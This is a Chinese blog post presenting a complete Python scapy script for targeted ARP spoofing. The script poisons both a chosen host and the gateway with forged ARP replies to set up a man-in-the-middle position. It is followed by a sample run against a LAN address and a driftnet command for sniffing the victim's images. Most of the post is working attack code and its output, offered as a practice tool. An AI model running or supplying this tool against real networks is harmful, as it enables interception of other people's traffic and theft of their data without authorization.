首页 > 技术文章 > 用python编写的定向arp欺骗工具

darkpig 2016-09-12 20:09 原文

  刚学习了scapy模块的一些用法,非常强大,为了练手,利用此模块编写了一个arp欺骗工具,其核心是构造arp欺骗包。加了一个-a参数用于进行全网欺骗,先暂不实现。代码如下:

 1 #--*--coding=utf-8--*--
 2 
 3 from scapy.all import *
 4 import optparse
 5 import threading
 6 
 7 #解决在linux系统上运行时报的unicode编码相关错误
 8 import sys
 9 reload(sys)
10 sys.setdefaultencoding('utf-8')
11 
12 
13 def getMac(tgtIP):
14     '''
15     调用scapy的getmacbyip函数,获取攻击目标IP的MAC地址。
16     '''
17     try:
18         tgtMac = getmacbyip(tgtIP)
19         return tgtMac
20     except:
21         print '[-]请检查目标IP是否存活' 
22 
23 def createArp2Station(srcMac,tgtMac,gatewayIP,tgtIP):
24     '''
25     生成ARP数据包,伪造网关欺骗目标计算机
26     srcMac:本机的MAC地址,充当中间人
27     tgtMac:目标计算机的MAC
28     gatewayIP:网关的IP,将发往网关的数据指向本机(中间人),形成ARP攻击
29     tgtIP:目标计算机的IP
30     op=2,表示ARP响应
31     '''
32     pkt = Ether(src=srcMac,dst=tgtMac)/ARP(hwsrc=srcMac,psrc=gatewayIP,hwdst=tgtMac,pdst=tgtIP,op=2)
33     return pkt
34 
35 def createArp2Gateway(srcMac,gatewayMac,tgtIP,gatewayIP):
36     '''
37     生成ARP数据包,伪造目标计算机欺骗网关
38     srcMac:本机的MAC地址,充当中间人
39     gatewayMac:网关的MAC
40     tgtIP:目标计算机的IP,将网关发往目标计算机的数据指向本机(中间人),形成ARP攻击
41     gatewayIP:网关的IP
42     op=2,表示ARP响应
43     '''
44     pkt = Ether(src=srcMac,dst=gatewayMac)/ARP(hwsrc=srcMac,psrc=tgtIP,hwdst=gatewayMac,pdst=gatewayIP,op=2)
45     return pkt
46 
47 
48 def main():
49     usage = 'Usage: %prog -t <targetip> -g <gatewayip> -i <interface> -a'
50     parser = optparse.OptionParser(usage,version='v1.0')
51     parser.add_option('-t',dest='targetIP',type='string',help='指定目标计算机IP')
52     parser.add_option('-g',dest='gatewayIP',type='string',help='指定网关IP')
53     parser.add_option('-i',dest='interface',type='string',help='指定使用的网卡')
54     parser.add_option('-a',dest='allarp',action='store_true',help='是否进行全网arp欺骗')
55     
56     options,args = parser.parse_args()
57     tgtIP = options.targetIP
58     gatewayIP = options.gatewayIP
59     interface = options.interface
60   
61     if tgtIP == None or gatewayIP == None or interface == None:
62         print parser.print_help()
63         exit(0)
64     
65     srcMac = get_if_hwaddr(interface)
66     print '本机MAC地址是:',srcMac
67     tgtMac = getMac(tgtIP)
68     print '目标计算机MAC地址是:',tgtMac
69     gatewayMac = getMac(gatewayIP)
70     print '网关MAC地址是:',gatewayMac
71     raw_input('按任意键继续:')
72 
73 
74     pktstation = createArp2Station(srcMac,tgtMac,gatewayIP,tgtIP)
75     pktgateway = createArp2Gateway(srcMac,gatewayMac,tgtIP,gatewayIP)
76 
77    
78     i = 1
79     while True:
80         t = threading.Thread(target=sendp,args=(pktstation,),kwargs={'iface':interface})
81         t.start()
82         t.join()
83         print str(i) + ' [*]发送一个计算机ARP欺骗包'
84        
85         s = threading.Thread(target=sendp,args=(pktgateway,),kwargs={'iface':interface,})
86         s.start()
87         s.join()
88         print str(i) + ' [*]发送一个网关ARP欺骗包'
89         i += 1       
90         
91             
92 
93 if __name__ == '__main__':
94     main()

验证如下:

 1 # python arpspoof.py -t 192.168.1.28 -g 192.168.1.1 -i wlan0
 2 WARNING: No route found for IPv6 destination :: (no default route?)
 3 本机MAC地址是: xxx
 4 目标计算机MAC地址是:xxx
 5 网关MAC地址是: xxx
 6 按任意键继续:
 7 .
 8 Sent 1 packets.
 9 1 [*]发送一个计算机ARP欺骗包
10 .
11 Sent 1 packets.
12 1 [*]发送一个网关ARP欺骗包
13 .
14 Sent 1 packets.
15 2 [*]发送一个计算机ARP欺骗包
16 .
17 Sent 1 packets.
18 2 [*]发送一个网关ARP欺骗包
19 .
20 Sent 1 packets.
21 3 [*]发送一个计算机ARP欺骗包
22 .
23 Sent 1 packets.
24 3 [*]发送一个网关ARP欺骗包
25 ......

#driftnet -i wlan0

 

推荐阅读